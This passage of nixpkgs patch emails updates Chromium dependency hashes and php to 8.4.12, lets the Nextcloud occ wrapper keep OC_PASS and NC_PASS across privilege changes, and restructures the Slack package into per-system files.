+        "hash": "sha256-fV0El2ZgjxLqstKVN35SL72+diHNK0FkBmG5UwVZFrk="
       },
       "src/third_party/search_engines_data/resources": {
         "url": "https://chromium.googlesource.com/external/search_engines_data.git",
-        "rev": "273082bef7b1bc05eddb5079b83702938e40c677",
-        "hash": "sha256-FrEUhG9G7EMiOvih0/FSlpWIuA3/wyBaQZLapYcutz4="
+        "rev": "5c5db51f8c13cb42379d8b333890971f1a1a1797",
+        "hash": "sha256-Z4ykCZkUVatvkH3ytIdGOp0zEYLKIqr8fta0MnovZKw="
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "4abe0638e35d34b6fdb70f1f5ce0f0e1879a021e",
-        "hash": "sha256-hy06/Sy+rEzNyFv9R2Kg9kX7XIpCbQwCr5VjEH9CtKM="
+        "rev": "1fdbea293a53b270e3f5e74c92cc6670d68412ff",
+        "hash": "sha256-YiGzqaht1r8/dDz0C4fpKsPEIplm33dPce2UpLkYTZ0="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -652,8 +652,8 @@
       },
       "src/third_party/swiftshader": {
         "url": "https://swiftshader.googlesource.com/SwiftShader.git",
-        "rev": "ed01d9931de34d3a6fb4d615050db5080d9cea16",
-        "hash": "sha256-is6sl3vRLyBjiHg97rI7WvxIiKg6eelqNfrZGTWPBtM="
+        "rev": "fdb6700ecb04103b658d2e4623d6bc663ba80ea8",
+        "hash": "sha256-jJT0hF1k5a6na+9aH1yHuUo6go/PzgKibP/k60m6+xM="
       },
       "src/third_party/text-fragments-polyfill/src": {
         "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git",
@@ -662,18 +662,18 @@
       },
       "src/third_party/tflite/src": {
         "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git",
-        "rev": "e6c5574b82d7950f978447704a70971c478f0f50",
-        "hash": "sha256-zdd0y0OILYoRhZ3O64g9MFdWLnAVJiM+CJUIN2RfmKo="
+        "rev": "fe38b1b8c23d86ed93c13ef367b19496e398462d",
+        "hash": "sha256-51tpID94hoxm0I2Mf3WFQBf5MsuzIzlkS9lOto/8tC4="
       },
       "src/third_party/vulkan-deps": {
         "url": "https://chromium.googlesource.com/vulkan-deps",
-        "rev": "f227ce323fb5a2fee1a98b6feea54b0e42b2f30d",
-        "hash": "sha256-8GHLg9S6f/k2XPgqeeZ6UCBQBoHuABdPYhpGecyqo+E="
+        "rev": "c466059b72815c7fbce8bb3ab4832407aabc5dc5",
+        "hash": "sha256-MEMOJBBMBeA0kBlU5ZhkPbfRpn1PSL1950IsU1rWaJ8="
       },
       "src/third_party/glslang/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang",
-        "rev": "d176fb41992d5c091fb1c401e4e70306382e67fc",
-        "hash": "sha256-27C9ZokeehkoFdIpiYkQ6PBgcNUq0kVLl4tvcgFrYLg="
+        "rev": "38f6708b6b6f213010c51ffa8f577a7751e12ce7",
+        "hash": "sha256-HeH7j7IsjeP2vFPhX9cKzZ2O54eIGSCoSnPT4pumA00="
       },
       "src/third_party/spirv-cross/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross",
@@ -682,48 +682,43 @@
       },
       "src/third_party/spirv-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers",
-        "rev": "2a611a970fdbc41ac2e3e328802aed9985352dca",
-        "hash": "sha256-LRjMy9xtOErbJbMh+g2IKXfmo/hWpegZM72F8E122oY="
+        "rev": "97e96f9e9defeb4bba3cfbd034dec516671dd7a3",
+        "hash": "sha256-/OT6//yu8VmQMXs3DSgwEx2lMDTPlUuXJDjboNdLjrI="
       },
       "src/third_party/spirv-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools",
-        "rev": "33e02568181e3312f49a3cf33df470bf96ef293a",
-        "hash": "sha256-yAdd/mXY8EJnE0vCu0n/aVxMH9059T/7cAdB9nP1vQQ="
+        "rev": "3aeaaa088d37b86cff036eee1a9bf452abad7d9d",
+        "hash": "sha256-bkoD3/4o/CjNBAp49vnRq4ZtY7TNgYkVPI5gESM8CUI="
       },
       "src/third_party/vulkan-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers",
-        "rev": "10739e8e00a7b6f74d22dd0a547f1406ff1f5eb9",
-        "hash": "sha256-OorBl9vIN4DqVgT8ae+05yCLon7m0ixQczEzDlpwFRI="
+        "rev": "a01329f307fa6067da824de9f587f292d761680b",
+        "hash": "sha256-LCRK6UzqvcRoa3sr6nsfkDf3aILXj8zjb48lirsLTIw="
       },
       "src/third_party/vulkan-loader/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader",
-        "rev": "342da33fdec78d269657194c9082835d647d2e68",
-        "hash": "sha256-G+sTBXuBodkXi7njI0foXTqaxchsWD9XtF9UBsknE30="
+        "rev": "f2389e27734347c1d9f40e03be53f69f969976b1",
+        "hash": "sha256-NIBn5HkAKzNaSruw742QBWPgCkrxQdmITvTASagYlKM="
       },
       "src/third_party/vulkan-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools",
-        "rev": "e3fc64396755191b3c51e5c57d0454872e7fa487",
-        "hash": "sha256-EqLG8kMQx6nHX9iZMrsu0fn1z4nY6TEQ/feTINNbUzQ="
+        "rev": "f766b30b2de3ffe2cf6b656d943720882617ec58",
+        "hash": "sha256-9sF9syF7d28J5yzGsIHUcJ1QB2JmJZpAVqDt92ZZOY4="
       },
       "src/third_party/vulkan-utility-libraries/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries",
-        "rev": "72665ee1e50db3d949080df8d727dffa8067f5f8",
-        "hash": "sha256-FSk/LeYCt/XeF8XJZtr+DoNbvMmfFIKUaYvmeq5xK+w="
+        "rev": "b0a40d2e50310e9f84327061290a390a061125a3",
+        "hash": "sha256-bj9YCZfIFeaQ9TVpyyztRs3LOIaJkKpkGKbU5g9hEzg="
       },
       "src/third_party/vulkan-validation-layers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers",
-        "rev": "e086a717059f54c94d090998628250ae8f238fd6",
-        "hash": "sha256-KF06qgduM4rAVs4MHvdS+QZs+3srB+p1NadQYTzc0OM="
+        "rev": "6b1b8e3d259241a68c0944ca0a7bb5320d086191",
+        "hash": "sha256-Do+6/v8Ysp1Wnnmdi5I+UKHpBcEG4xMeRROCWgLmJbY="
       },
       "src/third_party/vulkan_memory_allocator": {
         "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git",
-        "rev": "56300b29fbfcc693ee6609ddad3fdd5b7a449a21",
-        "hash": "sha256-YzxHZagz/M8Y54UnI4h1wu5jSTuaOgv0ifC9d3fJZlQ="
-      },
-      "src/third_party/wasm_tts_engine/src": {
-        "url": "https://chromium.googlesource.com/chromium/wasm-tts-engine",
-        "rev": "352880bb49e2410707543c252ef6b94a21b0f47f",
-        "hash": "sha256-TFkniS4XvP0RlPnI1lv4RxxSY44RUuwCMKmmybENEBw="
+        "rev": "cb0597213b0fcb999caa9ed08c2f88dc45eb7d50",
+        "hash": "sha256-yBCs3zfqs/60htsZAOscjcyKhVbAWE6znweuXcs1oKo="
       },
       "src/third_party/wayland/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland.git",
@@ -732,8 +727,8 @@
       },
       "src/third_party/wayland-protocols/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland-protocols.git",
-        "rev": "7d5a3a8b494ae44cd9651f9505e88a250082765e",
-        "hash": "sha256-o/adWEXYSqWib6KoK7XMCWbojapcS4O/CEPxv7iFCw8="
+        "rev": "efbc060534be948b63e1f395d69b583eebba3235",
+        "hash": "sha256-tdpEK7soY0aKSk6VD4nulH7ORubX8RfjXYmNAd/cWKY="
       },
       "src/third_party/wayland-protocols/kde": {
         "url": "https://chromium.googlesource.com/external/github.com/KDE/plasma-wayland-protocols.git",
@@ -757,18 +752,18 @@
       },
       "src/third_party/webgpu-cts/src": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git",
-        "rev": "2a8d4a83f751286302ce34573409ad75cc318508",
-        "hash": "sha256-VUSsDgNHMiSCLDDicscMwskFu/qOzuz04mqYoFtnJF8="
+        "rev": "07f4412e935c988d60fad2e373287d6450bcd231",
+        "hash": "sha256-yb7NqciuvXi7crCqpN+7hgJ+JXfDF9x48gkYI2uSTtA="
       },
       "src/third_party/webpagereplay": {
         "url": "https://chromium.googlesource.com/webpagereplay.git",
-        "rev": "f3397454e39a7c0b35af192e6d8a1896af7bd9ec",
-        "hash": "sha256-saa07zzzbehOm4gIMoGVB0AZ2nLqmjnT5IfYBSsnZIw="
+        "rev": "eebd5c62cb5c6a5afbb36eccdcc3b3e01f28adc9",
+        "hash": "sha256-WXiWUVTX4JBuavc3qxPpWeM2qZsyMr64iqF/fu9fzRI="
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "23d8e44f84822170bee4425760b44237959423e5",
-        "hash": "sha256-8IETxHh2Lcgc2N0pV0kTEsbOAchsgwj6VZVDAcVssxw="
+        "rev": "847fe7905954f3ae883de2936415ff567aa9039b",
+        "hash": "sha256-kcK1kJdPCkXbEFuS+b6wKUBaKLXmkAEwVKp4/YWDv8s="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",
@@ -787,8 +782,8 @@
       },
       "src/third_party/xnnpack/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git",
-        "rev": "3c99186b3276aa891f94ebba35f6b16e627d57de",
-        "hash": "sha256-CXX0F2H0WjgOxV2iD8bizj1JZOknry7qTmtsv9yAJFU="
+        "rev": "ae40b1a2d93d5c516bc7657c6c3eea1470f917ae",
+        "hash": "sha256-w+8aCRTlBWQcDh4EvAF87eiLmQWsIsxD9adPTnuA12E="
       },
       "src/third_party/zstd/src": {
         "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git",
@@ -797,8 +792,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "a0a7886d6b3707be8d4b403e463fa82fdb3f216c",
-        "hash": "sha256-KjIBJw40hiBkcHNn96dD5iZs2n2HMWIkAJ6ND2+5JJQ="
+        "rev": "fdb12b460f148895f6af2ff0e0d870ff8889f154",
+        "hash": "sha256-x8a8VYFrAZ0huj3WRlczrhg0quXx4cztz8nDs9ToWYg="
       }
     }
   },

From b791e737f4a88ab10253f01f582f51e00d9857b8 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 31 Aug 2025 14:29:19 +0200
Subject: [PATCH 4242/4511] php84: 8.4.11 -> 8.4.12

ChangeLog: https://www.php.net/ChangeLog-8.php#8.4.12
(cherry picked from commit 459de06328ab03b0e36241e1797dada3bb529e7a)
---
 pkgs/development/interpreters/php/8.4.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.4.nix b/pkgs/development/interpreters/php/8.4.nix
index 1591c2c5aad9..3f45bf634d80 100644
--- a/pkgs/development/interpreters/php/8.4.nix
+++ b/pkgs/development/interpreters/php/8.4.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.4.11";
-      hash = "sha256-LDnHW1TfibARlbcq0O4fzUkMcdsYvFK81h+y/7V7Jvo=";
+      version = "8.4.12";
+      hash = "sha256-Lr1TgusJDWAwh9pkntId5ksHlha8mgKrvFMribF+NGg=";
     }
   );
 in

From 9a0dee2e9c26c8288da18b0e975299fd6f314515 Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Wed, 3 Sep 2025 08:53:32 +0200
Subject: [PATCH 4243/4511] nixos/nextcloud: Pass OC_PASS and NC_PASS
 environment variables to nextcloud-occ

(cherry picked from commit ba24e7fa23b0e084f1f0648a3a18d1b8e8bafe11)
---
 nixos/modules/services/web-apps/nextcloud.md  | 4 ++--
 nixos/modules/services/web-apps/nextcloud.nix | 6 ++++++
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/web-apps/nextcloud.md b/nixos/modules/services/web-apps/nextcloud.md
index 05300487cc9a..324fcc98f7e4 100644
--- a/nixos/modules/services/web-apps/nextcloud.md
+++ b/nixos/modules/services/web-apps/nextcloud.md
@@ -65,8 +65,8 @@ The management command [`occ`](https://docs.nextcloud.com/server/stable/admin_ma
 invoked by using the `nextcloud-occ` wrapper that's globally available on a system with Nextcloud enabled.
 
 It requires elevated permissions to become the `nextcloud` user. Given the way the privilege
-escalation is implemented, parameters passed via the environment to Nextcloud (e.g. `OC_PASS`) are
-currently ignored.
+escalation is implemented, parameters passed via the environment to Nextcloud are
+currently ignored, except for `OC_PASS` and `NC_PASS`.
 
 Custom service units that need to run `nextcloud-occ` either need elevated privileges
 or the systemd configuration from `nextcloud-setup.service` (recommended):
diff --git a/nixos/modules/services/web-apps/nextcloud.nix b/nixos/modules/services/web-apps/nextcloud.nix
index 672ed62a50c4..8c3212b7b2f1 100644
--- a/nixos/modules/services/web-apps/nextcloud.nix
+++ b/nixos/modules/services/web-apps/nextcloud.nix
@@ -165,17 +165,23 @@ let
             --wait \
             --collect \
             --service-type=exec \
+            --setenv OC_PASS \
+            --setenv NC_PASS \
             --quiet \
             ${command}
         elif [[ "$USER" != nextcloud ]]; then
           if [[ -x /run/wrappers/bin/sudo ]]; then
             exec /run/wrappers/bin/sudo \
               --preserve-env=CREDENTIALS_DIRECTORY \
+              --preserve-env=OC_PASS \
+              --preserve-env=NC_PASS \
               --user=nextcloud \
               ${command}
           else
             exec ${lib.getExe' pkgs.util-linux "runuser"} \
               --whitelist-environment=CREDENTIALS_DIRECTORY \
+              --whitelist-environment=OC_PASS \
+              --whitelist-environment=NC_PASS \
               --user=nextcloud \
               ${command}
           fi

From b962f24c1a98265dd1f8ea7e80ed81641a76fb2a Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 29 Aug 2025 19:40:07 +0800
Subject: [PATCH 4244/4511] slack: add prince213 to maintainers

(cherry picked from commit f19395ed10d2dca99fd945676e60e06fd0a2f371)
---
 pkgs/by-name/sl/slack/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/sl/slack/package.nix b/pkgs/by-name/sl/slack/package.nix
index 6259f4dfee21..595a5f809420 100644
--- a/pkgs/by-name/sl/slack/package.nix
+++ b/pkgs/by-name/sl/slack/package.nix
@@ -91,6 +91,7 @@ let
     license = licenses.unfree;
     maintainers = with maintainers; [
       mmahut
+      prince213
       teutat3s
     ];
     platforms = [

From d1b3b3cec523a9d360b257b97126877297dfe3d3 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 29 Aug 2025 19:11:09 +0800
Subject: [PATCH 4245/4511] slack: copy entire .app on darwin

(cherry picked from commit a78e39d566663dcf12ec07ee4eaf38f803b7171d)
---
 pkgs/by-name/sl/slack/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sl/slack/package.nix b/pkgs/by-name/sl/slack/package.nix
index 595a5f809420..443f8ffcf78b 100644
--- a/pkgs/by-name/sl/slack/package.nix
+++ b/pkgs/by-name/sl/slack/package.nix
@@ -228,12 +228,12 @@ let
 
     nativeBuildInputs = [ undmg ];
 
-    sourceRoot = "Slack.app";
+    sourceRoot = ".";
 
     installPhase = ''
       runHook preInstall
-      mkdir -p $out/Applications/Slack.app
-      cp -R . $out/Applications/Slack.app
+      mkdir -p $out/Applications
+      cp -a Slack.app $out/Applications
       runHook postInstall
     '';
   };

From 746c13f1b463f84359f07714d1253c0a4d9b1aae Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 29 Aug 2025 19:42:18 +0800
Subject: [PATCH 4246/4511] slack: avoid with lib;

(cherry picked from commit 5d4509bc031dd7a223064db0e2710f2f7056578f)
---
 pkgs/by-name/sl/slack/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/sl/slack/package.nix b/pkgs/by-name/sl/slack/package.nix
index 443f8ffcf78b..5fb7788eb0c6 100644
--- a/pkgs/by-name/sl/slack/package.nix
+++ b/pkgs/by-name/sl/slack/package.nix
@@ -83,13 +83,13 @@ let
     }
     .${system} or throwSystem;
 
-  meta = with lib; {
+  meta = {
     description = "Desktop client for Slack";
     homepage = "https://slack.com";
     changelog = "https://slack.com/release-notes";
-    sourceProvenance = with sourceTypes; [ binaryNativeCode ];
-    license = licenses.unfree;
-    maintainers = with maintainers; [
+    sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
+    license = lib.licenses.unfree;
+    maintainers = with lib.maintainers; [
       mmahut
       prince213
       teutat3s

From a7b5cd82e1cc3976b4ab59bd8828a20d3123260c Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 29 Aug 2025 19:45:55 +0800
Subject: [PATCH 4247/4511] slack: split by system

(cherry picked from commit aa64b8a07f5040030c8a59e34365ba7b8d8199bb)
---
 pkgs/by-name/sl/slack/darwin.nix  |  30 ++++
 pkgs/by-name/sl/slack/linux.nix   | 154 ++++++++++++++++++++
 pkgs/by-name/sl/slack/package.nix | 229 +++++-------------------------
 3 files changed, 216 insertions(+), 197 deletions(-)
 create mode 100644 pkgs/by-name/sl/slack/darwin.nix
 create mode 100644 pkgs/by-name/sl/slack/linux.nix

diff --git a/pkgs/by-name/sl/slack/darwin.nix b/pkgs/by-name/sl/slack/darwin.nix
new file mode 100644
index 000000000000..9d2245433d21
--- /dev/null
+++ b/pkgs/by-name/sl/slack/darwin.nix
@@ -0,0 +1,30 @@
+{
+  pname,
+  version,
+  src,
+  passthru,
+  meta,
+
+  stdenvNoCC,
+  undmg,
+}:
+stdenvNoCC.mkDerivation {
+  inherit
+    pname
+    version
+    src
+    passthru
+    meta
+    ;
+
+  nativeBuildInputs = [ undmg ];
+
+  sourceRoot = ".";
+
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out/Applications
+    cp -a Slack.app $out/Applications
+    runHook postInstall
+  '';
+}
diff --git a/pkgs/by-name/sl/slack/linux.nix b/pkgs/by-name/sl/slack/linux.nix
new file mode 100644
index 000000000000..03f6f10b21d0
--- /dev/null
+++ b/pkgs/by-name/sl/slack/linux.nix
@@ -0,0 +1,154 @@
+{
+  pname,
+  version,
+  src,
+  passthru,
+  meta,
+
+  lib,
+  stdenv,
+  dpkg,
+  makeWrapper,
+  asar,
+  alsa-lib,
+  at-spi2-atk,
+  at-spi2-core,
+  atk,
+  cairo,
+  cups,
+  curl,
+  dbus,
+  expat,
+  fontconfig,
+  freetype,
+  gdk-pixbuf,
+  glib,
+  gtk3,
+  libGL,
+  libappindicator-gtk3,
+  libdrm,
+  libnotify,
+  libpulseaudio,
+  libuuid,
+  libxcb,
+  libxkbcommon,
+  libgbm,
+  nspr,
+  nss,
+  pango,
+  pipewire,
+  systemd,
+  wayland,
+  xdg-utils,
+  xorg,
+}:
+stdenv.mkDerivation rec {
+  inherit
+    pname
+    version
+    src
+    passthru
+    meta
+    ;
+
+  rpath =
+    lib.makeLibraryPath [
+      alsa-lib
+      at-spi2-atk
+      at-spi2-core
+      atk
+      cairo
+      cups
+      curl
+      dbus
+      expat
+      fontconfig
+      freetype
+      gdk-pixbuf
+      glib
+      gtk3
+      libGL
+      libappindicator-gtk3
+      libdrm
+      libnotify
+      libpulseaudio
+      libuuid
+      libxcb
+      libxkbcommon
+      libgbm
+      nspr
+      nss
+      pango
+      pipewire
+      stdenv.cc.cc
+      systemd
+      wayland
+      xorg.libX11
+      xorg.libXScrnSaver
+      xorg.libXcomposite
+      xorg.libXcursor
+      xorg.libXdamage
+      xorg.libXext
+      xorg.libXfixes
+      xorg.libXi
+      xorg.libXrandr
+      xorg.libXrender
+      xorg.libXtst
+      xorg.libxkbfile
+      xorg.libxshmfence
+    ]
+    + ":${lib.getLib stdenv.cc.cc}/lib64";
+
+  buildInputs = [
+    gtk3 # needed for GSETTINGS_SCHEMAS_PATH
+  ];
+
+  nativeBuildInputs = [
+    dpkg
+    makeWrapper
+    asar
+  ];
+
+  dontUnpack = true;
+  dontBuild = true;
+  dontPatchELF = true;
+
+  installPhase = ''
+    runHook preInstall
+
+    # The deb file contains a setuid binary, so 'dpkg -x' doesn't work here
+    dpkg --fsys-tarfile $src | tar --extract
+    rm -rf usr/share/lintian
+
+    mkdir -p $out
+    mv usr/* $out
+
+    # Otherwise it looks "suspicious"
+    chmod -R g-w $out
+
+    for file in $(find $out -type f \( -perm /0111 -o -name \*.so\* \) ); do
+      patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" "$file" || true
+      patchelf --set-rpath ${rpath}:$out/lib/slack $file || true
+    done
+
+    # Replace the broken bin/slack symlink with a startup wrapper.
+    # Make xdg-open overrideable at runtime.
+    rm $out/bin/slack
+    makeWrapper $out/lib/slack/slack $out/bin/slack \
+      --prefix XDG_DATA_DIRS : $GSETTINGS_SCHEMAS_PATH \
+      --suffix PATH : ${lib.makeBinPath [ xdg-utils ]} \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations,WebRTCPipeWireCapturer --enable-wayland-ime=true}}"
+
+    # Fix the desktop link
+    substituteInPlace $out/share/applications/slack.desktop \
+      --replace /usr/bin/ $out/bin/ \
+      --replace /usr/share/pixmaps/slack.png slack \
+      --replace bin/slack "bin/slack -s"
+
+    # Prevent Un-blacklist pipewire integration to enable screen sharing on wayland.
+    # https://github.com/flathub/com.slack.Slack/issues/101#issuecomment-1807073763
+    sed -i -e 's/,"WebRTCPipeWireCapturer"/,"LebRTCPipeWireCapturer"/' $out/lib/slack/resources/app.asar
+
+    runHook postInstall
+  '';
+}
diff --git a/pkgs/by-name/sl/slack/package.nix b/pkgs/by-name/sl/slack/package.nix
index 5fb7788eb0c6..ce2ec83cf9db 100644
--- a/pkgs/by-name/sl/slack/package.nix
+++ b/pkgs/by-name/sl/slack/package.nix
@@ -1,48 +1,12 @@
 {
-  lib,
-  stdenv,
+  callPackage,
   fetchurl,
-  dpkg,
-  undmg,
-  makeWrapper,
-  asar,
-  alsa-lib,
-  at-spi2-atk,
-  at-spi2-core,
-  atk,
-  cairo,
-  cups,
-  curl,
-  dbus,
-  expat,
-  fontconfig,
-  freetype,
-  gdk-pixbuf,
-  glib,
-  gtk3,
-  libGL,
-  libappindicator-gtk3,
-  libdrm,
-  libnotify,
-  libpulseaudio,
-  libuuid,
-  libxcb,
-  libxkbcommon,
-  libxshmfence,
-  libgbm,
-  nspr,
-  nss,
-  pango,
-  pipewire,
-  systemd,
-  wayland,
-  xdg-utils,
-  xorg,
+  lib,
+  stdenvNoCC,
 }:
 
 let
-  inherit (stdenv.hostPlatform) system;
-  throwSystem = throw "slack does not support system: ${system}";
+  inherit (stdenvNoCC.hostPlatform) system;
 
   pname = "slack";
 
@@ -55,33 +19,37 @@ let
   aarch64-darwin-version = "4.45.64";
   aarch64-darwin-sha256 = "136crd17ybaznp680qb2rl0c8cllkkv21ymf3dck2jhkqbp7v2kj";
 
-  version =
-    {
-      x86_64-darwin = x86_64-darwin-version;
-      x86_64-linux = x86_64-linux-version;
-      aarch64-darwin = aarch64-darwin-version;
-    }
-    .${system} or throwSystem;
-
-  src =
+  sources =
     let
       base = "https://downloads.slack-edge.com";
     in
     {
-      x86_64-darwin = fetchurl {
-        url = "${base}/desktop-releases/mac/universal/${version}/Slack-${version}-macOS.dmg";
-        sha256 = x86_64-darwin-sha256;
+      x86_64-darwin = rec {
+        version = x86_64-darwin-version;
+        src = fetchurl {
+          url = "${base}/desktop-releases/mac/universal/${version}/Slack-${version}-macOS.dmg";
+          sha256 = x86_64-darwin-sha256;
+        };
       };
-      x86_64-linux = fetchurl {
-        url = "${base}/desktop-releases/linux/x64/${version}/slack-desktop-${version}-amd64.deb";
-        sha256 = x86_64-linux-sha256;
+      x86_64-linux = rec {
+        version = x86_64-linux-version;
+        src = fetchurl {
+          url = "${base}/desktop-releases/linux/x64/${version}/slack-desktop-${version}-amd64.deb";
+          sha256 = x86_64-linux-sha256;
+        };
       };
-      aarch64-darwin = fetchurl {
-        url = "${base}/desktop-releases/mac/arm64/${version}/Slack-${version}-macOS.dmg";
-        sha256 = aarch64-darwin-sha256;
+      aarch64-darwin = rec {
+        version = aarch64-darwin-version;
+        src = fetchurl {
+          url = "${base}/desktop-releases/mac/arm64/${version}/Slack-${version}-macOS.dmg";
+          sha256 = aarch64-darwin-sha256;
+        };
       };
-    }
-    .${system} or throwSystem;
+    };
+
+  passthru = {
+    updateScript = ./update.sh;
+  };
 
   meta = {
     description = "Desktop client for Slack";
@@ -101,141 +69,8 @@ let
     ];
     mainProgram = "slack";
   };
-
-  linux = stdenv.mkDerivation rec {
-    inherit
-      pname
-      version
-      src
-      meta
-      ;
-
-    passthru.updateScript = ./update.sh;
-
-    rpath =
-      lib.makeLibraryPath [
-        alsa-lib
-        at-spi2-atk
-        at-spi2-core
-        atk
-        cairo
-        cups
-        curl
-        dbus
-        expat
-        fontconfig
-        freetype
-        gdk-pixbuf
-        glib
-        gtk3
-        libGL
-        libappindicator-gtk3
-        libdrm
-        libnotify
-        libpulseaudio
-        libuuid
-        libxcb
-        libxkbcommon
-        libgbm
-        nspr
-        nss
-        pango
-        pipewire
-        stdenv.cc.cc
-        systemd
-        wayland
-        xorg.libX11
-        xorg.libXScrnSaver
-        xorg.libXcomposite
-        xorg.libXcursor
-        xorg.libXdamage
-        xorg.libXext
-        xorg.libXfixes
-        xorg.libXi
-        xorg.libXrandr
-        xorg.libXrender
-        xorg.libXtst
-        xorg.libxkbfile
-        xorg.libxshmfence
-      ]
-      + ":${lib.getLib stdenv.cc.cc}/lib64";
-
-    buildInputs = [
-      gtk3 # needed for GSETTINGS_SCHEMAS_PATH
-    ];
-
-    nativeBuildInputs = [
-      dpkg
-      makeWrapper
-      asar
-    ];
-
-    dontUnpack = true;
-    dontBuild = true;
-    dontPatchELF = true;
-
-    installPhase = ''
-      runHook preInstall
-
-      # The deb file contains a setuid binary, so 'dpkg -x' doesn't work here
-      dpkg --fsys-tarfile $src | tar --extract
-      rm -rf usr/share/lintian
-
-      mkdir -p $out
-      mv usr/* $out
-
-      # Otherwise it looks "suspicious"
-      chmod -R g-w $out
-
-      for file in $(find $out -type f \( -perm /0111 -o -name \*.so\* \) ); do
-        patchelf --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" "$file" || true
-        patchelf --set-rpath ${rpath}:$out/lib/slack $file || true
-      done
-
-      # Replace the broken bin/slack symlink with a startup wrapper.
-      # Make xdg-open overrideable at runtime.
-      rm $out/bin/slack
-      makeWrapper $out/lib/slack/slack $out/bin/slack \
-        --prefix XDG_DATA_DIRS : $GSETTINGS_SCHEMAS_PATH \
-        --suffix PATH : ${lib.makeBinPath [ xdg-utils ]} \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations,WebRTCPipeWireCapturer --enable-wayland-ime=true}}"
-
-      # Fix the desktop link
-      substituteInPlace $out/share/applications/slack.desktop \
-        --replace /usr/bin/ $out/bin/ \
-        --replace /usr/share/pixmaps/slack.png slack \
-        --replace bin/slack "bin/slack -s"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # Prevent Un-blacklist pipewire integration to enable screen sharing on wayland.
-      # https://github.com/flathub/com.slack.Slack/issues/101#issuecomment-1807073763
-      sed -i -e 's/,"WebRTCPipeWireCapturer"/,"LebRTCPipeWireCapturer"/' $out/lib/slack/resources/app.asar
-    ''
-    + ''
-      runHook postInstall
-    '';
-  };
-
-  darwin = stdenv.mkDerivation {
-    inherit
-      pname
-      version
-      src
-      meta
-      ;
-
-    passthru.updateScript = ./update.sh;
-
-    nativeBuildInputs = [ undmg ];
-
-    sourceRoot = ".";
-
-    installPhase = ''
-      runHook preInstall
-      mkdir -p $out/Applications
-      cp -a Slack.app $out/Applications
-      runHook postInstall
-    '';
-  };
 in
-if stdenv.hostPlatform.isDarwin then darwin else linux
+callPackage (if stdenvNoCC.hostPlatform.isDarwin then ./darwin.nix else ./linux.nix) {
+  inherit pname passthru meta;
+  inherit (sources.${system} or (throw "Unsupported system: ${system}")) version src;
+}

From 1cd8518673005498c49d5a142b2a07fad86c1c35 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Fri, 29 Aug 2025 20:03:23 +0800
Subject: [PATCH 4248/4511] slack: add sources.nix & fix update.sh

(cherry picked from commit ec0c44f9c3f53716938c90090e3600f13b6eb6fe)
---
 pkgs/by-name/sl/slack/package.nix | 38 +-------------
 pkgs/by-name/sl/slack/sources.nix | 26 ++++++++++
 pkgs/by-name/sl/slack/update.sh   | 84 +++++++++++++++++--------------
 3 files changed, 74 insertions(+), 74 deletions(-)
 create mode 100644 pkgs/by-name/sl/slack/sources.nix

diff --git a/pkgs/by-name/sl/slack/package.nix b/pkgs/by-name/sl/slack/package.nix
